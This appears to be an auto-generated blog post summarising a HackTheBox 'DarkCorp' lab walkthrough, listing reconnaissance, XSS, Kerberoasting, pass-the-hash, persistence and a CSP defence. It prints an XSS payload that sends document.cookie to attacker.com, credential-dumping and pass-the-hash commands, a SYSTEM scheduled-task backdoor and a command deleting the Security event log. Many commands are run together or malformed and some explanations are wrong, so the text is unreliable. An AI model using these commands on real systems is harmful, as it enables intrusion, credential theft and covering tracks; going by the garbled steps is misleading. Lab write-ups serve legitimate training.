Listen to this Post
Introduction:
HackTheBox’s DarkCorp machine represents a significant challenge in the realm of advanced penetration testing, featuring sophisticated cross-OS pivoting techniques between Linux and Windows environments. This complex scenario demonstrates how attackers can leverage Kerberos authentication across different operating systems to expand their foothold within a corporate network, highlighting critical security gaps in enterprise infrastructure.
Learning Objectives:
- Master advanced cross-OS pivoting techniques between Linux and Windows systems
- Understand and exploit Kerberos authentication vulnerabilities in hybrid environments
- Implement Content Security Policies (CSP) to prevent XSS-based data exfiltration
You Should Know:
1. Initial Reconnaissance and Service Enumeration
nmap -sC -sV -p- 10.10.11.244 sudo nmap -sU -p 53,88,123,139,389,445 10.10.11.244 dig @10.10.11.244 darkcorp.htb AXFR
Step-by-step guide: Begin with comprehensive network reconnaissance using Nmap TCP and UDP scans to identify open ports and services. The DNS zone transfer attempt using dig can reveal critical internal domain information. The -sC flag runs default scripts while -sV detects service versions, providing a complete picture of the attack surface.
2. Web Application Testing and XSS Vulnerability Discovery
gobuster dir -u http://darkcorp.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,js,txt
sqlmap -u "http://darkcorp.htb/search.php?q=test" --batch --level=3
python3 xss_payload_generator.py -c "fetch('http://attacker.com/?c='+document.cookie)"
Step-by-step guide: Use Gobuster for directory brute-forcing to discover hidden endpoints. Test for SQL injection vulnerabilities with SQLMap, then craft XSS payloads that bypass traditional cookie protection mechanisms. The key insight is that even without session cookies, attackers can exfiltrate sensitive data through carefully constructed payloads.
3. Kerberos Ticket Extraction and Analysis
python3 GetUserSPNs.py -request -dc-ip 10.10.11.244 darkcorp.htb/user secretsdump.py -k -no-pass -just-dc-user administrator DARKCORP/dc01\[email protected] klist kinit [email protected]
Step-by-step guide: Use Impacket’s GetUserSPNs to request Service Principal Names and extract crackable hashes. The secretsdump.py script can extract Kerberos tickets from memory, while klist displays cached tickets and kinit obtains new ones. This demonstrates how Kerberos authentication can be abused across OS boundaries.
4. Cross-Platform Pivoting with Kerberos
proxychains4 nmap -sT -p 445,3389 192.168.50.20 evil-winrm -i 192.168.50.20 -u administrator -H aad3b435b51404eeaad3b435b51404ee:ccf3b435b51404eeaad3b435b51404ee rubeus.exe harvest /interval:30
Step-by-step guide: After obtaining Kerberos tickets, use proxychains to route traffic through compromised systems. Evil-WinRM enables remote management of Windows systems using obtained credentials, while Rubeus on Windows systems helps harvest additional tickets for further lateral movement.
5. Privilege Escalation Techniques
winpeas.exe seatbelt.exe -group=all bloodhound-python -d darkcorp.htb -u user -p Password123 -ns 10.10.11.244 -c All python3 john --format=krb5tgs wordlist=rockyou.txt hashes.txt
Step-by-step guide: Deploy privilege escalation enumeration tools like WinPEAS and Seatbelt to identify misconfigurations. Use BloodHound to map attack paths through Active Directory, and crack Kerberos tickets with John the Ripper to obtain plaintext credentials for higher-privileged accounts.
6. Data Exfiltration Prevention with CSP
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; object-src 'none';
Step-by-step guide: Implement a robust Content Security Policy header that prevents inline script execution and restricts connection endpoints. The ‘connect-src’ attribute specifically blocks data exfiltration to external domains, while ‘script-src’ prevents execution of malicious inline scripts that could bypass HTTPOnly cookie protections.
7. Post-Exploitation Persistence and Cleanup
mimikatz sekurlsa::pth /user:administrator /domain:darkcorp.htb /ntlm:ccf3b435b51404eeaad3b435b51404ee schtasks /create /tn "Maintenance" /tr "C:\Windows\System32\backdoor.exe" /sc daily /ru SYSTEM powershell -Command "Remove-EventLog -LogName Security"
Step-by-step guide: Use Mimikatz for pass-the-hash attacks to maintain access, create scheduled tasks for persistence, and employ PowerShell to clear event logs covering tracks. This demonstrates the importance of comprehensive incident response that addresses both initial compromise vectors and persistence mechanisms.
What Undercode Say:
- Cross-OS Kerberos exploitation represents a critical threat vector in hybrid environments
- XSS remains dangerous even without cookie access when proper CSP isn’t implemented
- The interconnectivity between Linux and Windows systems creates unexpected attack paths
The DarkCorp machine demonstrates how traditional perimeter defenses fail against sophisticated attackers who understand cross-platform authentication mechanisms. The Kerberos abuse between Linux and Windows systems highlights a fundamental design flaw in how enterprises implement hybrid infrastructure. More concerning is the XSS vulnerability that, while seemingly limited without session cookie access, became a critical entry point due to missing Content Security Policy headers. This scenario underscores that comprehensive security requires not just patching individual vulnerabilities but understanding how different systems interact across organizational boundaries.
Prediction:
The techniques demonstrated in DarkCorp will increasingly be weaponized in real-world attacks as organizations continue adopting hybrid Linux-Windows environments. Within two years, we’ll see automated tools that specifically target cross-OS Kerberos implementations, making these attacks accessible to less-skilled attackers. The cybersecurity industry will respond with enhanced Kerberos monitoring solutions and cross-platform security frameworks, but the fundamental architectural challenges of hybrid authentication will continue to plague enterprises until they adopt zero-trust principles at the protocol level.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: 0xdf Htb – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
